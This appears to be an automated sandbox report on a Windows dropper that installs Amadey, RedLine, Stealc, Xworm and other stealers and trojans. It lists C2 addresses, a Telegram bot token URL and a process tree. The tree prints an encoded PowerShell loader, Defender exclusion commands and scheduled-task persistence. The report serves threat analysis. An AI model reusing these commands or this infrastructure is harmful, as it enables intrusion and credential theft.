Overview

overview

10

Static

static

7

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    18-05-2024 02:29

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    c22d167bf7d2d759794634e428006049754be141e56bec5db3a05a75d1917332.exe

  • Size

    1.6MB

  • MD5

    97c05214e6105bb765125f14b2c904f0

  • SHA1

    4ad3aaf23969c1efa14d77fb22cb037ec956ebab

  • SHA256

    c22d167bf7d2d759794634e428006049754be141e56bec5db3a05a75d1917332

  • SHA512

    7c3960845f65dfaafe5d708ea9f6e351f5dd2ddaf774babf97090665720ca2898039865acbc6248519fcf27593494c1e35fea85ce9f562da5d6e017c6ba8abed

  • SSDEEP

    49152:7bQePRi5+Som3Snq/3W3EEjL8/h28y2w1YiU:oep4SqfMEEH8528E1YiU

Score
10/10
amadeyredlineriseprosectopratstealcxworm118befc@cloudytteamc767c0viczzvvdiscoveryevasionexecutioninfostealerpersistenceratspywarestealerthemidatrojan

Malware Config

Extracted

Family

amadey

Version

4.20

Botnet

18befc

C2

http://5.42.96.141

Attributes
  • install_dir

    908f070dff

  • install_file

    explorku.exe

  • strings_key

    b25a9385246248a95c600f9a061438e1

  • url_paths

    /go34ko8/index.php

rc4.plain

Extracted

Family

amadey

Version

4.20

Botnet

c767c0

C2

http://5.42.96.7

Attributes
  • install_dir

    7af68cdb52

  • install_file

    axplons.exe

  • strings_key

    e2ce58e78f631ed97d01fe7b70e85d5e

  • url_paths

    /zamo7h/index.php

rc4.plain

Extracted

Family

risepro

C2

147.45.47.126:58709

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

C2

185.172.128.33:8970

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:26260

Extracted

Family

stealc

Botnet

zzvv

C2

http://23.88.106.134

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

xworm

C2

127.0.0.1:7000

beshomandotestbesnd.run.place:7000
Attributes
  • Install_directory

    %ProgramData%

  • install_file

    taskmgr.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Extracted

Family

redline

Botnet

Vic

C2

beshomandotestbesnd.run.place:1111

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Detect Xworm Payload 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 8 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 2 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Windows security bypass 2 TTPs 2 IoCs
    evasiontrojan
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs
    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • .NET Reactor proctector 8 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 18 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 43 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 34 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 5 IoCs
    evasiontrojan
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 55 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\c22d167bf7d2d759794634e428006049754be141e56bec5db3a05a75d1917332.exe
    "C:\Users\Admin\AppData\Local\Temp\c22d167bf7d2d759794634e428006049754be141e56bec5db3a05a75d1917332.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Drops file in Windows directory
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3788
    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
      "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Suspicious use of WriteProcessMemory
      PID:4664
      • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
        "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
        3⤵
          PID:2860
        • C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
          "C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3864
          • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
            "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1940
            • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
              "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1036
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3520
                • C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
                  "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4968
                • C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
                  "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
                  7⤵
                  • Executes dropped EXE
                  • Modifies system certificate store
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2008
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
                  7⤵
                    PID:5004
                    • C:\Windows\SysWOW64\choice.exe
                      choice /C Y /N /D Y /T 3
                      8⤵
                        PID:760
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1036 -s 364
                    6⤵
                    • Program crash
                    PID:2344
                • C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:2500
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    6⤵
                      PID:2236
                  • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3216
                  • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
                    5⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    • Suspicious use of WriteProcessMemory
                    PID:1664
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3704
                      • C:\Windows\SysWOW64\sc.exe
                        Sc stop GameServerClient
                        7⤵
                        • Launches sc.exe
                        PID:1912
                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                        GameService remove GameServerClient confirm
                        7⤵
                        • Executes dropped EXE
                        PID:3040
                      • C:\Windows\SysWOW64\sc.exe
                        Sc delete GameSyncLink
                        7⤵
                        • Launches sc.exe
                        PID:3976
                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                        GameService remove GameSyncLink confirm
                        7⤵
                        • Executes dropped EXE
                        PID:3980
                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                        GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                        7⤵
                        • Executes dropped EXE
                        PID:4016
                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                        GameService start GameSyncLink
                        7⤵
                        • Executes dropped EXE
                        PID:3700
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
                      6⤵
                        PID:1712
                        • C:\Windows\SysWOW64\sc.exe
                          Sc stop GameServerClientC
                          7⤵
                          • Launches sc.exe
                          PID:2344
                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                          GameService remove GameServerClientC confirm
                          7⤵
                          • Executes dropped EXE
                          PID:952
                        • C:\Windows\SysWOW64\sc.exe
                          Sc delete PiercingNetLink
                          7⤵
                          • Launches sc.exe
                          PID:2264
                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                          GameService remove PiercingNetLink confirm
                          7⤵
                          • Executes dropped EXE
                          PID:2020
                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                          GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                          7⤵
                          • Executes dropped EXE
                          PID:424
                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                          GameService start PiercingNetLink
                          7⤵
                          • Executes dropped EXE
                          PID:3228
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                        6⤵
                          PID:3372
                          • C:\Windows\System32\Conhost.exe
                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            7⤵
                              PID:5096
                            • C:\Windows\SysWOW64\sc.exe
                              Sc delete GameSyncLinks
                              7⤵
                              • Launches sc.exe
                              PID:3608
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService remove GameSyncLinks confirm
                              7⤵
                              • Executes dropped EXE
                              PID:3008
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                              7⤵
                              • Executes dropped EXE
                              PID:4732
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService start GameSyncLinks
                              7⤵
                              • Executes dropped EXE
                              PID:4264
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                            6⤵
                              PID:4796
                          • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"
                            5⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            PID:5104
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                              6⤵
                              • Loads dropped DLL
                              • Checks processor information in registry
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4868
                          • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
                            5⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            PID:4356
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                              6⤵
                                PID:2880
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                6⤵
                                  PID:5096
                              • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:3976
                                • C:\Windows\SysWOW64\schtasks.exe
                                  "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
                                  6⤵
                                  • Creates scheduled task(s)
                                  PID:4840
                              • C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:4360
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEQAOAAsACAAMAB4ADIARgAsACAAMAB4ADEARgAsACAAMAB4ADYAQwAsACAAMAB4ADQARQAsACAAMAB4ADgAOAAsACAAMAB4ADQANQAsACAAMAB4AEQARAAsACAAMAB4ADEAQQAsACAAMAB4AEUARAAsACAAMAB4ADUAQwAsACAAMAB4ADQAQgAsACAAMAB4ADQAOQAsACAAMAB4ADQAOQAsACAAMAB4ADAAQwAsACAAMAB4ADMAQgAsACAAMAB4AEYAQQAsACAAMAB4AEEAMQAsACAAMAB4ADIANwAsACAAMAB4ADMARAAsACAAMAB4ADIAQQAsACAAMAB4AEIANQAsACAAMAB4AEMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARAAsACAAMAB4ADAAQQAsACAAMAB4ADUAOQAsACAAMAB4ADUANwAsACAAMAB4AEMAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAQQAsACAAMAB4AEMAQgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEMALAAgADAAeABBADMALAAgADAAeAAzADQALAAgADAAeABBADYALAAgADAAeAA4ADQALAAgADAAeABDAEMALAAgADAAeABBAEEALAAgADAAeABEADIALAAgADAAeABCADAALAAgADAAeABFAEUALAAgADAAeABBAEMALAAgADAAeABEADcALAAgADAAeABFAEIALAAgADAAeABGAEUALAAgADAAeAA4AEYALAAgADAAeAA5ADkAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
                                  6⤵
                                  • UAC bypass
                                  • Windows security bypass
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious use of SetThreadContext
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5068
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe" -Force
                                    7⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:5076
                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
                                    7⤵
                                      PID:4952
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 172
                                        8⤵
                                        • Program crash
                                        PID:4100
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
                                      7⤵
                                        PID:3236
                                  • C:\Users\Admin\AppData\Local\Temp\1000052001\ReurgingGleek.exe
                                    "C:\Users\Admin\AppData\Local\Temp\1000052001\ReurgingGleek.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3500
                                    • C:\ProgramData\system.exe
                                      "C:\ProgramData\system.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      • Suspicious behavior: AddClipboardFormatListener
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of SetWindowsHookEx
                                      PID:1916
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\system.exe'
                                        7⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2820
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
                                        7⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4900
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'
                                        7⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4072
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
                                        7⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3044
                                      • C:\Windows\System32\schtasks.exe
                                        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
                                        7⤵
                                        • Creates scheduled task(s)
                                        PID:4672
                                    • C:\ProgramData\build.exe
                                      "C:\ProgramData\build.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4584
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3500 -s 1380
                                      6⤵
                                      • Program crash
                                      PID:4960
                              • C:\Users\Admin\AppData\Local\Temp\1000014001\69302e0e34.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000014001\69302e0e34.exe"
                                3⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Checks whether UAC is enabled
                                PID:2896
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1036 -ip 1036
                            1⤵
                              PID:5104
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                              1⤵
                              • Executes dropped EXE
                              PID:4320
                              • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
                                "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:3572
                                • C:\Windows\Temp\878778.exe
                                  "C:\Windows\Temp\878778.exe" --list-devices
                                  3⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  PID:3500
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                              1⤵
                              • Executes dropped EXE
                              PID:1964
                              • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
                                "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:4696
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3500 -ip 3500
                              1⤵
                                PID:2436
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                1⤵
                                • Executes dropped EXE
                                PID:3120
                                • C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
                                  "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:4260
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4952 -ip 4952
                                1⤵
                                  PID:5116
                                • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                  C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                  1⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:3068
                                • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
